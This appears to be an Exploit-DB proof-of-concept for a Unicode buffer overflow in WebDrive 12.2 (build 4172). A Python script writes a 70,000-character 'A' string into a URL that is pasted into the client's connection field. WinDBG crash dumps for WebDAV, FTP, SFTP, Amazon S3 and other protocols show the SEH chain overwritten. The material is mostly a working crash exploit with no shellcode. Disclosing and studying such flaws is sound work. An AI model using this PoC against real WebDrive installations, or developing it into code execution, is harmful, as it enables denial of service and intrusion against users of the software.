WebDrive 12.2 (Build #4172) – Remote Buffer Overflow

  • 作者: metacom
    日期: 2015-06-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37165/
  • #!/usr/bin/python
    #Exploit Title:WebDrive Buffer OverFlow PoC
    #Author: metacom
    #Vendor Homepage: http://www.webdrive.com/products/webdrive/
    #Software Link: https://www.webdrive.com/products/webdrive/download/
    #Version: 12.2 (build # 4172) 32 bit
    #Date found: 31.05.2015
    #Date published: 31.05.2015
    #Platform: Windows 7 Ultimate
    #Bug: Multiple Buffer Overflow UNICODE
    '''
    ----------------------------------------------------------------------------
    Summary:
    Unlike a typical FTP client, WebDrive allows you to open and 
    edit server-based, files without the additional step of downloading the file. 
    Using a simple wizard, you assign a network drive letter to the FTP Server. 
    WebDrive supports additional protocols such as WebDAV, SFTP and Amazon S3 and 
    maps a drive letter to each of these servers.You can map unique drive letters
    to multiple servers.Download the full-function 20-day trial of WebDrive and 
    make file management on remote servers easier and more efficient!
    ------------------------------------------------------------------------------
    WebDrive connects to many types of web servers, 
    as well as servers in the cloud.You can use WebDrive 
    to access your files on all of the following server 
    types and protocols:
    
    WebDAV ------------>Vulnerable
    WebDAV over SSL---->Vulnerable
    FTP---------------->Vulnerable
    FTP over SSL------->Vulnerable
    Amazon S3---------->Vulnerable
    SFTP--------------->Vulnerable
    FrontPage Server--->Vulnerable
    
    ------------------------------------------------------------------------------
    How to Crash:
    
    Copy the AAAA...string from WebDrive.txt to clipboard, create a connection 
    and paste it in the URL/Address and attempt to connect.
    
    
    WebDAV
    ============================
    Crash Analysis using WinDBG:
    ============================
    (430.9f8): Access violation - code c0000005 (!!! second chance !!!)
    eax=001cad5c ebx=02283af8 ecx=00000041 edx=02289d9c esi=fdf47264 edi=001cad5c
    eip=0055ff2b esp=001c8cfc ebp=001c8d00 iopl=0 nv up ei pl nz na pe nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010206
    *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\WebDrive\webdrive.exe
    webdrive+0x30ff2b:
    0055ff2b 66890c16mov word ptr [esi+edx],cxds:0023:001d1000=????
    0:000> !exchain
    001c8d20: webdrive+35a24e (005aa24e)
    001cb768: webdrive+1c0041 (00410041)
    Invalid exception stack at 00410041
    0:000> d 001cb768
    001cb76841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    001cb77841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    001cb78841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    001cb79841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    001cb7a841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    001cb7b841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    001cb7c841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    001cb7d841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    
    WebDAV over SSL
    ============================
    Crash Analysis using WinDBG:
    ============================
    (b88.ca0): Access violation - code c0000005 (!!! second chance !!!)
    eax=00000000 ebx=00000000 ecx=00410041 edx=775e660d esi=00000000 edi=00000000
    eip=00410041 esp=000a1238 ebp=000a1258 iopl=0 nv up ei pl zr na pe nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010246
    *** ERROR: Symbol file could not be found.Defaulted to export symbols for C:\Windows\system32\ipworks9.dll - 
    ipworks9!IPWorks_SNPP_Get+0x57f:
    00410041 038d4df0e8daadd ecx,dword ptr [ebp-25170FB3h] ss:0023:daf302a5=????????
    0:000>!exchain
    Invalid exception stack at 00410041
    
    FTP and FTP over SSL
    ============================
    Crash Analysis using WinDBG:
    ============================
    (834.70c): Access violation - code c0000005 (!!! second chance !!!)
    eax=00000000 ebx=00410041 ecx=00000400 edx=00000000 esi=002d84f0 edi=00000000
    eip=775e64f4 esp=002d8488 ebp=002d84dc iopl=0 nv up ei pl nz na po nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202
    ntdll!KiFastSystemCallRet:
    775e64f4 c3ret
    0:000> !exchain
    002d8c1c: webdrive+35a24e (015da24e)
    002db664: 00410041
    Invalid exception stack at 00410041
    
    Amazon S3
    ============================
    Crash Analysis using WinDBG:
    ============================
    (a64.a98): Access violation - code c0000005 (!!! second chance !!!)
    eax=00000000 ebx=00410041 ecx=00000400 edx=00000000 esi=002f8550 edi=00000000
    eip=775e64f4 esp=002f84e8 ebp=002f853c iopl=0 nv up ei pl nz na po nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202
    ntdll!KiFastSystemCallRet:
    775e64f4 c3ret
    0:000> !exchain
    002f8c7c: webdrive+35a24e (015da24e)
    002fb6c4: 00410041
    Invalid exception stack at 00410041
    
    SFTP
    ============================
    Crash Analysis using WinDBG:
    ============================
    (848.9a8): Access violation - code c0000005 (!!! second chance !!!)
    eax=00000000 ebx=00410041 ecx=00000400 edx=00000000 esi=002380f8 edi=00000000
    eip=775e64f4 esp=00238090 ebp=002380e4 iopl=0 nv up ei pl nz na po nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202
    ntdll!KiFastSystemCallRet:
    775e64f4 c3ret
    0:000> !exchain
    00238824: webdrive+35a24e (015da24e)
    0023b26c: 00410041
    Invalid exception stack at 00410041
    
    FrontPage Server
    ============================
    Crash Analysis using WinDBG:
    ============================
    (cd4.710): Access violation - code c0000005 (!!! second chance !!!)
    eax=007ba9f0 ebx=05d29738 ecx=00000041 edx=05d2fd48 esi=faa912b8 edi=007ba9f0
    eip=003bff2b esp=007b8990 ebp=007b8994 iopl=0 nv up ei pl nz na pe nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010206
    *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\WebDrive\webdrive.exe
    webdrive+0x30ff2b:
    003bff2b 66890c16mov word ptr [esi+edx],cxds:0023:007c1000=????
    0:000> !exchain
    007b89b4: webdrive+35a24e (0040a24e)
    007bb3fc: webdrive+360041 (00410041)
    Invalid exception stack at 00410041
    
    '''
    
    #Proof of Concept:
    
    buffer="http://"
    buffer+="\x41" * 70000
    off=buffer
    
    try:
    	out_file = open("WebDrive.txt",'w')
    	out_file.write(off)
    	out_file.close()
    	print("[*] Malicious txt file created successfully")
    except:
    	print "[!] Error creating file"